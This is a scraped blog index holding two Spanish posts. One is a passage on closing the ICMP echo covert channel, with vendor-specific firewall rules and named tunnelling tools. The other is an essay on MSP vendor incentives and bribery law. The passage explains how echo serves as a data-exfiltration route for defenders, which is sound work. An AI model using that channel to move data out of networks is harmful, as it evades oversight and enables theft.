levanta, las cosas pequeñas funcionan, cualquier cosa de tamaño completo se cuelga. Así que IPv6 es la familia más segura aquí, no la más arriesgada. El ataque que corre por casi cualquier cosa en IPv4 es frágil en IPv6, y falla cerrado. Más seguro no es lo mismo que seguro, eso sí: el canal de echo está abierto en IPv6 también, así que la regla lo descarta igual en ambas familias — el atacante simplemente no puede apoyarse en IPv6 como se apoya en IPv4.\nLa recuperación de eso es el error de ICMP que tuviste cuidado de conservar. Packet Too Big es lo que le deja a un emisor encontrar el tamaño que funciona, y es un error, no un echo, así que la regla que este post defiende lo deja en paz. Descarta el túnel y conserva los diagnósticos — ese es todo el diseño, y el MTU es un sitio más donde se gana el sueldo.\nLa regla, estrechada al echo El post anterior dio el conjunto de reglas de tránsito completo: permite los errores bajo un límite de tasa, descarta el echo. No voy a reimprimirlo. El cambio que este post defiende es un par de líneas, y es el par que hace el trabajo:\n# permit the ICMP errors — these are load-bearing, keep them ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \\ limit rate 100/second accept ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \\ time-exceeded, parameter-problem } limit rate 100/second accept # drop the tunnel — echo, both directions, both families ip protocol icmp icmp type { echo-request, echo-reply } drop ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop La regla no es de Linux, eso sí. Es la misma intención en cualquier firewall que se precie: permite los errores, cierra su tasa, descarta el echo en ambos sentidos en ambas familias. Así que aquí está en los dialectos que es más probable que tengas en la mano.\nBSD pf (pfSense, OPNsense, OpenBSD, FreeBSD):\n# permit the errors; block echo both directions, both families pass in proto icmp icmp-type { unreach, timex, paramprob } pass in proto icmp6 icmp6-type { unreach, toobig, timex, paramprob, \\ routersol, routeradv, neighbrsol, neighbradv } block in proto icmp icmp-type { echoreq, echorep } block in proto icmp6 icmp6-type { echoreq, echorep } Conserva los tipos de descubrimiento de vecinos en la línea icmp6; esos son los que tiran abajo el segmento si los pierdes.\nCisco IOS (ACL extendidas, aplicadas en el borde):\nip access-list extended ICMP-EDGE permit icmp any any unreachable permit icmp any any time-exceeded permit icmp any any parameter-problem deny icmp any any echo deny icmp any any echo-reply ! ipv6 access-list ICMP6-EDGE permit icmp any any packet-too-big permit icmp any any unreachable permit icmp any any time-exceeded permit icmp any any parameter-problem permit icmp any any nd-ns permit icmp any any nd-na deny icmp any any echo-request deny icmp any any echo-reply En IPv4 el tipo de echo es echo; en IPv6 es echo-request. El límite de tasa vive en CoPP, no en la ACL.\nJuniper Junos (firewall filter; el filtro inet6 refleja esto y conserva el descubrimiento de vecinos):\nfirewall family inet filter icmp-edge { term errors { from { protocol icmp; icmp-type [ unreachable time-exceeded parameter-problem ]; } then { policer icmp-cap; accept; } } term drop-echo { from { protocol icmp; icmp-type [ echo-request echo-reply ]; } then discard; } } MikroTik RouterOS — descarta los dos tipos de echo, luego acepta el resto de ICMP, lo que conserva los errores y, en v6, el descubrimiento de vecinos:\n/ip firewall filter add chain=forward protocol=icmp icmp-options=8:0 action=drop comment=\u0026#34;echo request\u0026#34; add chain=forward protocol=icmp icmp-options=0:0 action=drop comment=\u0026#34;echo reply\u0026#34; add chain=forward protocol=icmp action=accept comment=\u0026#34;keep the errors (add limit= to cap)\u0026#34; /ipv6 firewall filter add chain=forward protocol=icmpv6 icmp-options=128:0 action=drop comment=\u0026#34;echo request\u0026#34; add chain=forward protocol=icmpv6 icmp-options=129:0 action=drop comment=\u0026#34;echo reply\u0026#34; add chain=forward protocol=icmpv6 action=accept comment=\u0026#34;keep errors and ND\u0026#34; Sintaxis distinta, una regla. Permite los mensajes que llevan la verdad, descarta el que lleva tus bytes.\nDos precauciones, ambas de las cuales te morderán si lees por encima.\nDescarta el echo en el borde, no en el cable entre un host y su propio router. En IPv6, el descubrimiento de vecinos es ICMP — tipos 133 a 137, de nd-router-solicit a nd-redirect — y es cómo el segmento hace el trabajo que ARP hace en IPv4. Lleva un descarte de echo a una cadena de enlace local o de host sin conservar esos y el segmento deja de funcionar en minutos, y no parecerá un fallo del firewall. Filtra el echo donde el tráfico sale de tu red, y deja las cadenas internas en paz.\nDescártalo en ambas direcciones y deja de ser útil de ninguna manera. Bloquear solo la petición impide que se haga ping a tus hosts pero todavía deja salir una respuesta, y un túnel se puede construir solo con respuestas con un poco más de esfuerzo. Descarta petición y respuesta, en IPv4 e IPv6, y el canal queda cerrado en ambos sentidos.\nQué te cuesta de verdad descartar ping Sé honesto sobre la pérdida, porque un control que has sobrevendido es un control que alguien revierte calladamente la primera vez que resulta inconveniente.\nPierdes ping a través del límite. Ese es el coste, dicho entero. Es un coste real. ping es el reflejo, está en los dedos de todos, y el día después de que envíes esto alguien dirá que internet está caído porque su ping a la puerta de enlace da timeout. No está caído. Le dijiste a la puerta de enlace que dejara de responder una petición que solo fue nunca una comodidad.\nProbar la alcanzabilidad no necesita el echo. Una conexión TCP a un puerto que sabes que está abierto te dice que el host está arriba y el camino funciona, y te dice más que un ping porque prueba que un servicio respondió, no solo un kernel:\n# \u0026#34;is it up and reachable?\u0026#34; without sending a single echo nc -zv \u0026lt;host\u0026gt; 443 # did the TCP handshake complete? traceroute -T -p 443 \u0026lt;host\u0026gt; # walk the path on TCP, read the errors back Ambos viajan sobre los errores de ICMP que conservaste y el TCP que un servicio real ya habla. Ninguno envía un echo. Así que el trato honesto es este: renuncias a la herramienta menos informativa de la caja, la que responde «¿está un kernel dispuesto a responder?» y nada más, y a cambio cierras la única parte de ICMP que un atacante puede convertir en una ruta fuera de tu red. Los diagnósticos a los que de verdad recurres en un mal día están todos al otro lado de la línea, intactos.\nEl Fisher-Price OS (Windows) no es una salida de esto Si gestionas una tienda de Fisher-Price OS (Windows) quizá estés leyendo esto como el problema de otro. No lo es. El riesgo está en el protocolo, no en el sistema operativo. El estándar obliga a cada host que responde un ping a devolverte tus bytes, y no se detiene a preguntar qué corre el host primero.\nUna caja con ese SO hace un extremo de túnel perfectamente bueno. Hans envía un cliente de Windows, así que una máquina interna puede ser el extremo cliente y pasar su tráfico fuera dentro del echo como cualquier otra. Lo que no puede ser fácilmente es el extremo servidor, porque eso quiere un dispositivo tun y un socket ICMP en bruto abiertos, y en ese SO solo los miembros del grupo Administradores pueden crear sockets de tipo SOCK_RAW12 — palabras de la propia Microsoft. Así que el servidor se sienta en un sistema operativo de verdad, como el mío, y la caja detrás del firewall que calladamente hace ping para salir es la que te dijeron que era segura porque estaba en el interior.\nEse es el punto para cualquiera que lo defienda. La regla del borde no le importa qué corre el interior. Descarta el echo donde el tráfico sale de la red y cada host detrás de él queda cubierto — los que administras, y el que te aseguraron que se escondía detrás de NAT. No ejecuto la cosa, y no voy a pretender que el túnel la respeta. El arreglo es la misma regla, en el mismo sitio, en lo que sea que el endpoint haya arrancado.\nSi la caja en sí es lo que estás endureciendo (la caja, no la red), PowerShell al menos hará que deje de responder o emitir un ping por su cuenta:\nforeach ($t in 8,0) { New-NetFirewallRule -DisplayName \u0026#34;Drop ICMPv4 Echo $t\u0026#34; -Protocol ICMPv4 -IcmpType $t -Direction Inbound -Action Block } foreach ($t in 128,129) { New-NetFirewallRule -DisplayName \u0026#34;Drop ICMPv6 Echo $t\u0026#34; -Protocol ICMPv6 -IcmpType $t -Direction Inbound -Action Block } Añade gemelas -Direction Outbound para impedir que salga como cliente de túnel en vez de quedarse ahí como el objetivo, y deja los tipos de error y de descubrimiento de vecinos de ICMPv6 en paz, por la razón por la que se dejan en paz en todo el resto de esta página. Pero no lo confundas con el control. Un firewall de host no es un firewall de tránsito. Endurece la caja y no cambia nada del borde, y el borde es donde esto de verdad se cierra.\nPlantéalo hoy con quien gestione tu borde Probablemente has leído hasta aquí pensando en una red que no es tuya para cambiar. La mayoría de la gente lo está. Así que lo útil que hacer no es recurrir al firewall, es ponerle la pregunta a quien lo tiene — tu propio equipo de red, tu MSP, o el fabricante cuya caja se sienta en el borde — y ponerla hoy, porque esto ha sido una puerta abierta desde 1996 y una semana más de ello es una elección.\nPregunta llanamente, y pregunta esperando una cara en blanco, porque me apostaría todo el PIB del Reino Unido a que nadie ahí le ha dado al echo un segundo pensamiento. Es el único paquete que todo el mundo permite y nadie posee, y una regla sin dueño es exactamente la que ha estado mal puesta durante años sin nadie que lo note.\nPregúntales cuatro cosas, con estas palabras, para que no haya sitio para asentir y no cambiar nada:\n¿Descartamos la petición de echo y la respuesta de echo de ICMP en el borde, en IPv4 e IPv6 los dos? No «¿permitimos ICMP?» — el mensaje específico, ambas direcciones, ambas familias. Si la respuesta es una sola familia, no es respuesta, porque el túnel simplemente se mueve a la otra. ¿Seguimos permitiendo los errores de ICMP? Destination Unreachable, Time Exceeded, Parameter Problem, y Packet Too Big en IPv6, bajo un límite de tasa en vez de un bloqueo. Si no saben decirlo, hay tantas probabilidades de que hayan dejado todo abierto como de que hayan bloqueado el lote, y ambas están mal. ¿Hemos conservado el descubrimiento de vecinos de IPv6 en las cadenas internas? Tipos 133 a 137. Este es el que convierte «endurecimos ICMP» en un segmento que muere calladamente una semana después, y es el error que comete un cambio con prisas. Enséñame la regla. No una declaración de política, la línea real en la caja real, y la fecha en que se puso. Un control al que nadie puede señalar es un control que no está ahí. ¿Habrá llegado la caja del fabricante con esto ya cerrado? No habrá. El valor por defecto casi en todas partes es dejar pasar el echo y registrarlo como un conteo de paquetes, que es toda la razón por la que el túnel funciona. No está explotando un fallo, está usando la configuración que se envía de serie. Nadie cierra una puerta que nunca le dijeron que estaba abierta.\nLa razón para insistir en la redacción es que el arreglo perezoso a este post es «vale, bloquearemos ICMP», y ese arreglo es peor que el agujero. Rompe el descubrimiento de MTU del camino y traceroute, te tendrá persiguiendo transferencias colgadas sin nada en los registros, y en IPv6 quita partes de internet de la mesa por completo. Si la persona a la que preguntas recurre a eso, párala. La instrucción es estrecha a propósito: descarta el echo, conserva los errores, conserva el descubrimiento de vecinos. Como tal, cualquiera que gestione firewalls para ganarse la vida debería poder hacer ese cambio en una tarde y decirte que está hecho.\nY si son un MSP al que pagas para gestionar esto: un proveedor que no sabe decirte de memoria tu propia postura de echo-y-errores, o que responde «bloqueamos ICMP» como si eso fuera la opción segura, acaba de decirte algo sobre el resto del patrimonio. La próxima vez que un fallo se siente entre dos redes y ambas digan que están limpias, recuerda cuál de ellas no supo describir qué le hace su propio firewall a un ping.\nEl diagnóstico que nunca fue un diagnóstico Ping ha tenido una buena racha. Mike Muuss lo escribió en 1983 para comprobar si un host respondía, lo nombró por el sonar, e hizo ese único trabajo tan bien que se convirtió en lo primero a lo que todos recurren y lo último que nadie cuestiona. Cuarenta años después es memoria muscular, y la memoria muscular es exactamente cómo sobrevive un riesgo. Nadie reexamina la cosa que siempre ha hecho.\nPero mira lo que de verdad es, despojado de la costumbre. Un mensaje que no lleva ningún hecho sobre la red, que cada host está obligado a responder con tus propios bytes devueltos, que corre sobre un protocolo que los controles no inspeccionan y los registros no leen. Todo lo que lo hace sentir inofensivo — solo es un diagnóstico, solo es un keepalive, todo el mundo lo permite — es lo mismo que lo hace la forma más limpia que existe de salir de una red filtrada. La industria bloquea los errores de ICMP, que llevan la verdad y rompen la red cuando faltan, y deja pasar el echo, que lleva lo que sea que le cargues. Tiene el protocolo exactamente del revés.\nEl arreglo no es ingenioso. Conserva los mensajes que te cuentan la verdad, y descarta el que solo devuelve tus bytes. Te cuesta un comando en el que no tenías por qué confiar para un diagnóstico de todos modos, y cierra una puerta que ha estado abierta desde 1996, documentada en una revista hacker, empaquetada durante dos décadas, y dejada de par en par porque cerrarla significaría que alguien no podría hacer ping. Sabe lo que cuesta una cosa, no lo que tiene de precio. Ping tiene precio de nada. Te cuesta el único canal que no puedes ver.\nLoki, Phrack 49 — un canal de comando llevado dentro de las cargas de echo de ICMP, 1996.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPtunnel — lleva una sesión TCP dentro del echo de ICMP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 792 — ICMP: «the data received in the echo message must be returned in the echo reply message».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4443 — ICMPv6: los datos del echo «MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4890 — los mensajes de ICMPv6 que un firewall no debe descartar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 1812 — requisitos de routers: Time Exceeded es un MUST, nombrado por traceroute.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHans — túnel de IP sobre echo de ICMP, de Friedrich Schöller.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nicmptunnel — tuneliza tráfico IP a través de paquetes de echo y respuesta de ICMP, de Dhaval Kapil.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nkernel de Linux — IP sysctl — icmp_echo_ignore_all: «the kernel will ignore all ICMP ECHO requests sent to it».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLinux commit e6f86b0f — «ipv6: Add icmp_echo_ignore_all support for ICMPv6» — el equivalente de IPv6, de Virgile Jarry.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8200 §5 — IPv6 exige que cada enlace tenga un MTU de al menos 1280 octetos.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — TCP/IP raw sockets — «only members of the Administrators group can create sockets of type SOCK_RAW».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/networking/ping-the-diagnostic-tool-that-opens-a-whole-lot-more/","summary":"Ping, no el resto de ICMP, es el riesgo: el echo es un canal que todo host debe responder con tus propios bytes, así que una red que «solo permite ping» ya tiene un VPN completo hacia fuera. Esto recorre primero la amenaza — qué le cuesta a tu salida, y cómo un visitante en tu WiFi o un puerto ethernet sin bloquear puede abrir uno — luego tres túneles que funcionan construidos solo con ping (Hans, icmptunnel, y uno corto en Python con AES-128), las trampas del MTU y de IPv6, y la regla que lo cierra: descarta el echo, conserva los errores, en nftables, pf, Cisco, Junos, MikroTik y Windows.","title":"Ping: la herramienta de diagnóstico que abre mucho más"},{"content":" Is Your MSP Lying To You — 3 parts\n¿Tu MSP te miente para venderte productos premium?you are here Lo que tu MSP te construyó, y quién más puede alcanzarlo Cuando se rompe, ¿quién lo carga de verdad? Respuesta corta: algunos de ellos sí.\nLa respuesta más larga es peor, y es la que vale tu tiempo. La mayoría nunca necesita mentir, porque el arreglo lo hace por ellos. Les pagan los fabricantes cuyos productos recomiendan, a tarifas que se mueven según qué producto tomes y cuánto se consuma de él, y nadie está obligado a soltar palabra. Pon a una empresa en esa posición treinta años y la deshonestidad se vuelve innecesaria. La lista se escribe sola.\nDesde donde tú estás, al final de la factura, una mentira y un proceso amañado cuestan exactamente lo mismo.\nEsta parte va de la venta: quién paga a la persona que te aconseja, qué nunca llega a la lista, por qué la mejor respuesta es la que no te ofrecerán, y qué estás alquilando sin saberlo. La parte dos va de lo que se construye una vez firmado el papeleo y de quién más puede alcanzarlo. La parte tres va de quién lo carga cuando la cosa se cae, y de qué cuesta irse. Una parte la he visto pasar. El resto está en el registro público con el nombre de un regulador encima, y cada afirmación de aquí lleva un enlace.\nNada de esto exige que seas técnico. Solo tienes que preguntar.\nEl arreglo fácil es la señal Toma uno común. Un teletrabajador no consigue que su portátil mantenga un túnel VPN de vuelta a la oficina. El proveedor lo mira y vuelve con algo para que el cliente lo cambie en el extremo de casa. No en su extremo. En el de casa.\nEl túnel es L2TP sobre IPsec hacia un Cisco Meraki MX, y lo que de verdad va mal es la travesía del NAT. El cliente sigue negociando en UDP 500 en vez de pasar a UDP 4500, porque el NAT-T nunca se configuró en el extremo de la oficina. El RFC 3947 es tajante al respecto: una vez detectado un NAT, el iniciador «MUST set both UDP source and destination ports to 4500» — debe fijar los puertos UDP de origen y destino a 4500. Nunca lo hace. El túnel muere en el NAT. Cada vez.\nLa respuesta está sentada en su propio cortafuegos, apagada. El mismo MX corre AnyConnect, que «will attempt to connect using both TLS, and DTLS (Datagram TLS) over TCP and UDP 443 respectively» — intentará conectarse en TLS y en DTLS (Datagram TLS) sobre TCP y UDP 443 respectivamente. TLS ordinario en un puerto ordinario. Un NAT entiende eso perfectamente — no hay nada que atravesar y nada que configurar — y funcionaría la tarde en que alguien lo activara.\nNadie toma una captura de paquetes. Nadie comprueba en qué puerto habla de verdad el cliente. Esas son las dos primeras cosas que se hacen, y lo acabarían en un minuto.\nAhora un segundo caso del mismo proveedor, y no hay red por ningún lado. Una impresora de etiquetas, y una etiqueta de envío que tiene que salir en el formato correcto. Eso es toda la petición. Es también lo único que hace una impresora de etiquetas.\nLa respuesta que llegó fue que no es posible.\nEra una opción en el driver de impresión. Una casilla, en un diálogo de ajustes, en software que ellos administran, y todo el trabajo era marcarla y lanzar una impresión de prueba. Nadie tenía que comprar nada. Nadie tenía que diseñar nada. No quisieron marcarla.\nFíjate en que «no es posible» es una respuesta sin ninguna medición dentro, y es la única respuesta que cierra un ticket sin que nadie tenga que hacer nada. También se vuelve más difícil de retirar cuanto más se mantiene, porque ir a mirar ahora significa admitir que había algo que mirar.\nEsa es la forma que hay que vigilar, y es la misma forma dos veces. El fallo es gratis de arreglar, el arreglo está sentado dentro de kit que el proveedor ya posee y ya cobra por hacer funcionar, y lo que vuelve en su lugar es o una instrucción de cambiar algo en el extremo del cliente o una declaración lisa de que la cosa no se puede hacer. Cuando la respuesta barata se descarta sin una medición, no te están dando un diagnóstico. Te están gestionando.\nUn ingeniero que ha encontrado el fallo te dice cuál es el fallo. Alguien que no lo ha encontrado te dice que no se puede hacer, o te dice qué comprar.\nQuién paga a tu asesor Empieza por el dinero, porque todo lo demás lo sigue.\nCuando tu MSP recomienda un hyperscaler, no es neutral. La propia documentación de facturación de Microsoft describe el partner earned credit — un crédito aplicado contra los cargos de tu consumo de Azure, ganado por el partner que tiene los derechos de admin para gestionarlo. Tu factura sube, ellos se llevan una parte. Al lado se sientan los márgenes de reventa, los escalones de volumen, los descuentos por certificación, los fondos de desarrollo de mercado y los objetivos trimestrales, en cada fabricante de la pila, no solo ese.\nNada de esto es secreto, y nada de esto va contra ninguna regla. Está publicado, es normal, y es como el canal ha funcionado durante treinta años.\nDos personas pagan a tu asesor, y solo una eres tú Tú Preguntas qué producto comprar Tu proveedor Escribe la lista corta de la que elegirás El fabricante Fija lo que una recomendación gana una cuota una opción comisión Comisión, margen, registro de tratos, objetivo de ventas Nada de ello tiene que mencionársete A un asesor financiero solo puede pagarle el cliente (FCA Handbook, COBS 6.1A). A un asesor de TI pueden pagarle ambos, y nada le obliga a decir quién paga más. Dos partes pagan por la misma recomendación. Solo una de ellas está sentada en la reunión, y solo uno de los pagos hay que mencionarlo. Aquí está el trozo que debería molestarte. Nadie tiene que contarte nada de ello — ni la tarifa, ni los objetivos, ni el crédito. La persona que recomienda el producto la paga la empresa que fabrica el producto, a una tarifa que depende de qué producto te convenza de tomar y de cuánto consumas luego, y no hay obligación en ningún sitio de poner una palabra de eso en la propuesta que estás leyendo.\nOtra industria miró exactamente este arreglo y lo prohibió. Bajo las reglas de la FCA un asesor financiero solo puede «only be remunerated for the personal recommendation \u0026hellip; by adviser charges» — ser remunerado por la recomendación personal solo mediante honorarios de asesoría — y no debe «not solicit or accept \u0026hellip; any other commissions, remuneration or benefit» — ni solicitar ni aceptar ninguna otra comisión, remuneración o beneficio. Tú pagas a tu asesor. El proveedor del producto no. Esa regla existe porque el regulador entendió algo obvio. No puedes distinguir el consejo de la venta cuando al vendedor lo paga el fabricante.\nLa informática nunca tuvo ese ajuste de cuentas. La CMA ha pasado el mercado del cloud por el tamiz y ha mirado de cerca el gasto comprometido, la salida de datos y el cambio de proveedor, pero nadie ha mirado todavía la capa del medio. La estructura sentada entre tú y el fabricante, sosteniendo a la vez un deber hacia ti y un objetivo de ellos.\nVale también llamar a la cosa por su nombre.\nUn incentivo es un pago de una parte para dar forma a una decisión en la que se apoya una parte distinta. Ese es el mecanismo, se llame como se llame el programa en la web del fabricante. El fabricante paga, el cliente se apoya, y la recomendación se mueve.\nEs coercitivo en el extremo del MSP también, que es la mitad que nadie mira. Falla el escalón y no simplemente renuncias a un bono. Tu precio de compra sube en todo lo que vendes los doce meses siguientes. Así que la presión no es «vende esto y recibe una golosina». Es «vende esto o todo tu negocio se encarece». Nadie en esa posición elige con libertad, y nunca se diseñó para que se sintiera como una elección.\nEl derecho inglés ya conoce la forma de esto. El Bribery Act 2010 no necesita ningún funcionario público cerca — el artículo 3 cubre «any activity connected with a business» — cualquier actividad conectada con un negocio — y muerde donde la persona que realiza esa actividad se espera que lo haga «in good faith» — de buena fe —, o «impartially» — de forma imparcial —, o está «in a position of trust» — en una posición de confianza. Lee esas tres condiciones. Luego lee la propuesta de tu mesa.\nNo estoy acusando al gestor de cuentas de nadie de un delito. Lo que pasa es más soso que eso y más difícil de arreglar. El arreglo se sienta a un pelo del lado bueno de la línea, y lo único que lo mantiene ahí es que nadie ha establecido nunca que un MSP te deba imparcialidad de entrada. El consejo financiero lo estableció, y la comisión paró. Nadie lo ha establecido aquí, así que no ha parado.\nLlama a un incentivo una forma leve de corrupción y la gente se eriza. Pon el pago, el objetivo y la lista en la misma página, luego pregunta cómo llamarlo si no.\nAl proveedor pequeño nunca se le nombra La lista de proveedores que te mostraron no es la lista de proveedores que existen. Es la lista con la que tu MSP ya tiene cuenta.\nPara entrar en esa lista un fabricante necesita un programa de partners. Escalones, acreditación, descuentos, registro de operaciones, un distribuidor dispuesto a llevar la línea. Eso es una máquina. Hacerla funcionar cuesta dinero que no tiene nada que ver con lo bueno que sea el producto. Hay montones de estructuras pequeñas en este país construyendo mejor kit y mejor software que la marca de tu propuesta, y nunca aparecerán en ella, porque tienen doce empleados y ningún equipo de canal.\nMira lo que la máquina le hace a la recomendación.\nEl registro de operaciones ata a tu MSP a un fabricante antes de que nadie te haya hablado de requisitos. Registran la oportunidad, obtienen un mejor precio de compra y protección contra otro partner que te cotice lo mismo, y desde ese momento hay una razón para orientar el diseño hacia ese fabricante que no tiene nada que ver con tu negocio.\nLos escalones hacen el resto. Oro, platino, como se llame este año, el estatus va por volumen anual, y fija su descuento en todo lo demás que venden todo el año. Tu proyecto puede ser lo que les haga pasar la raya. No te lo dirán.\nLuego el distribuidor decide lo que queda. Un MSP compra a través de un distribuidor, el distribuidor lleva las líneas sobre las que tiene acuerdos, y un fabricante que no está en la lista de precios más vale que no exista.\nLo que eso te cuesta no es abstracto. Un proveedor más pequeño te pondrá normalmente al teléfono con la gente que escribió el software en vez de con un guion de primera línea, cambiará algo porque se lo pediste, y todavía te rinde cuentas el año que viene porque eres una parte real de su ingreso en vez de un error de redondeo. Nada de eso entra en una matriz de comparación, y nada de eso paga un descuento a nadie.\nAsí que pregunta qué haría falta para meter a una de esas estructuras pequeñas en la lista. La respuesta te dice para quién se dibujó la lista.\nY el mandato viene de un solo país Mira las marcas de la propuesta. El hipervisor, el cloud, el kit de red, el cortafuegos, la suite ofimática, el CRM, el destino de copias, la monitorización. Casi todas americanas.\nNada de eso es un veredicto sobre la calidad. Es lo que pasa cuando la ruta al mercado es un programa de canal, porque las empresas lo bastante grandes para hacer funcionar uno de esos a escala mundial se sientan en un solo país. Así que los objetivos que carga tu MSP, los descuentos que dan forma a tu lista y el escalón que fija su margen están todos escritos en los Estados Unidos.\nLo que hace útil saber cómo trata ese país ahora mismo las reglas sobre ganar negocio en el extranjero.\nEl 10 de febrero de 2025 el presidente firmó un decreto titulado «Pausing Foreign Corrupt Practices Act Enforcement to Further American Economic and National Security». Ordenó al Attorney General, durante 180 días, «cease initiation of any new FCPA investigations or enforcement actions» — cesar el inicio de cualquier nueva investigación o acción de aplicación de la FCPA —, con el razonamiento declarado de que la aplicación contra las empresas americanas «for routine business practices in other nations» — por prácticas comerciales de rutina en otras naciones — daña la competitividad americana.\nLa FCPA persigue el soborno de funcionarios públicos extranjeros. Esa es la práctica que se está describiendo.\nLo que siguió está en el registro. Nuevas directrices del Department of Justice el 9 de junio de 2025 estrecharon la aplicación a los casos que tocan los cárteles, un daño directo a las empresas americanas o la seguridad nacional. A lo largo de 2025 la Securities and Exchange Commission no interpuso ninguna acción civil de la FCPA en absoluto y disolvió su unidad de la FCPA, mientras el Department of Justice cerraba más o menos la mitad de sus investigaciones activas. Tampoco se presentó a la reunión de marzo de 2025 del Grupo de Trabajo de la OCDE sobre Soborno.\nLa misma ley, distinta dirección. Le quitó 772 millones de dólares a una empresa de ingeniería francesa en 2014, y es la razón por la que el Estado francés encargó un informe sobre si el derecho extraterritorial americano funciona como un arma comercial. Repasé eso en hasta dónde llega la ley de un país. Así que la ley cruza fronteras para las empresas extranjeras y se pone en reposo para las nacionales, por el gobierno del país de donde viene toda tu lista de productos.\nNo esperes que el Reino Unido cubra el hueco tampoco. La ley de aquí no es la parte débil — el Bribery Act 2010 va más allá que la ley americana en algunos puntos, y el artículo 7 convierte en delito que una organización comercial no prevenga el soborno por cualquiera que actúe en su nombre. Estricta, amplia, y en los libros desde hace quince años.\nLa parte débil es que la aplicación a este tamaño solo funciona nunca como una operación conjunta. Airbus es el mayor acuerdo de soborno en el que este país ha tomado parte, y el propio anuncio de Airbus expone su forma: 3 598 millones de euros en penalizaciones el 31 de enero de 2020, yendo 2 083 millones de euros al Parquet National Financier francés, 984 millones al Serious Fraud Office, 526 millones al Department of Justice y 9 millones al State Department, con el SFO y el PNF llevándolo como equipo de investigación conjunto. El dinero cruza varios países y las pruebas también, y ninguna agencia sola puede obligar al conjunto por su cuenta. Necesita que todo el mundo se presente.\nFíjate en la fecha de eso. Enero de 2020 se sienta dentro de la primera administración Trump, y el Department of Justice de entonces estaba bastante contento de tomar su parte de 526 millones de euros. La pausa vino cinco años después, del mismo presidente en su segundo mandato. Esto no es una diferencia entre administraciones. Es una decisión tomada en 2025.\nUno de ellos ha dejado de presentarse, y va más profundo que una silla vacía. Un fiscal que no abre casos no produce nada que compartir. Sin citaciones, sin producción de documentos, sin acusados que cooperen, sin testigos puestos bajo presión — las pruebas que hicieron posible Airbus existían porque alguien salió a buscarlas. Cierra la mitad de un sumario y no interpongas ninguna acción nueva, y no hay nada sentado en el bote para que ningún otro eche mano. Esto no es un país que se niega a entregar cosas. Es un país que ya no tiene nada que entregar.\nCierra la otra puerta también. El propio anuncio de Airbus atribuye el resultado a «reporting, cooperation and new compliance standards» — denuncia, cooperación y nuevos estándares de cumplimiento — dentro de la empresa. Las empresas se autodenuncian por lo que les pasa si no lo hacen. Quita lo que les pasa, y las autodenuncias que arrancan la mayoría de estos casos dejan de llegar. En Londres tanto como en Washington.\nEl Bribery Act no se debilita en nada cuando eso pasa. Solo pierde el suministro de pruebas que lo hacía utilizable precisamente en los casos para los que se escribió.\nDieciocho meses de eso, y no ha movido una sola lista en esta industria. Nadie lo tiene en un registro de riesgos, nadie lo pregunta en un formulario de compra, y nadie que te venda una suscripción de cinco años lo ha mencionado.\nEl presupuesto de formación se fue primero Hay una segunda razón por la que el producto sigue ganando, y es menos cínica que la primera. Mucha de la gente que te vende no sabría hacer la otra cosa.\nLa inversión de los empleadores en formación en este país lleva veinte años cayendo. La lectura de la Employer Skills Survey 2024 del Learning and Work Institute la sitúa en un 36 % menos por empleado en términos reales que en 2005 — £1 700 contra £2 634. Solo desde la encuesta de 2022 ha bajado otro 13 %. La tasa de aprendizaje llegó en 2017 para revertir exactamente esto, y el gasto por empleado incluyendo la tasa ha caído un 23 % desde entonces.\nLuego mira qué sectores cortaron más fuerte entre 2022 y 2024. La administración pública un 50 %, los servicios financieros un 47 %, y la información y las comunicaciones un 30 %. Ese último es el nuestro. Casi un tercio ido en dos años, de la industria que cambia más rápido.\nMientras tanto la cosa que se defiende creció. Conté las vulnerabilidades publicadas a ambos lados de una década directamente desde la National Vulnerability Database: 6 595 CVE publicadas en 2015, y 49 972 en 2025. Siete veces y media más en diez años, contra un presupuesto de formación que bajó un tercio. Esas dos líneas van en direcciones opuestas y lo hacen desde hace años.\nLos controles que harían resaltar la diferencia tampoco están puestos. La propia Cyber Security Breaches Survey 2025/2026 del gobierno sitúa la autenticación de dos factores en el 47 % de las empresas — el mismo control que las agencias de los Cinco Ojos nombraron para las cuentas de MSP en 2022, y el mismo por el que la ICO multó a Advanced. La misma encuesta muestra las políticas formales de ciberseguridad en baja del 59 % al 52 % en un año, y los planes de continuidad que cubren la ciberseguridad en baja del 53 % al 44 %. No estables. En baja.\nY luego pon una tenencia de cloud debajo de todo. Una pequeña empresa no administra la suya. El MSP tiene el admin global, construye el modelo de identidad, ajusta el acceso condicional, decide qué almacenamiento es público y cuál no, y posee la consola. Eso es precisamente para lo que se le contrató. Así que cuando una tenencia acaba mal configurada, las manos encima eran las del contratista. No un cliente marcando la casilla equivocada.\nEl radio de explosión cambió también. Un servidor mal configurado en 2005 alcanzaba más o menos tan lejos como el cable en el que estaba enchufado. Una tenencia mal configurada hoy está en internet en el segundo en que se guarda, es la misma tenencia para cada sistema que la empresa hace funcionar, y la credencial que la administra se sienta con alguien a quien nunca han conocido, en una empresa que no tienen permitido auditar.\nLas agencias de seguridad de cinco países escribieron un aviso sobre esto en 2022, y la primerísima acción de su lista atañe a las cuentas que un proveedor usa para entrar en tus sistemas. La pusieron primera porque esa es la vía de entrada.\nLuego está lo que esta industria llama formación. Una certificación de fabricante es formación de producto. Te enseña dónde están los botones en la consola de una empresa y qué ha decidido esa empresa llamar a sus funciones, la escribe y le pone precio la empresa cuyos productos cubre, y tener suficientes es una condición del escalón de partner que fija el margen. Es un canal de ventas con birrete.\nConocer una consola no es saber cómo funciona la cosa. Un ingeniero con cinco certificaciones puede no haber leído nunca un RFC, no haber tomado nunca una captura de paquetes, y ni una sola vez haber deducido de primeros principios por qué algo falló. Pon a esa persona delante de un túnel que no 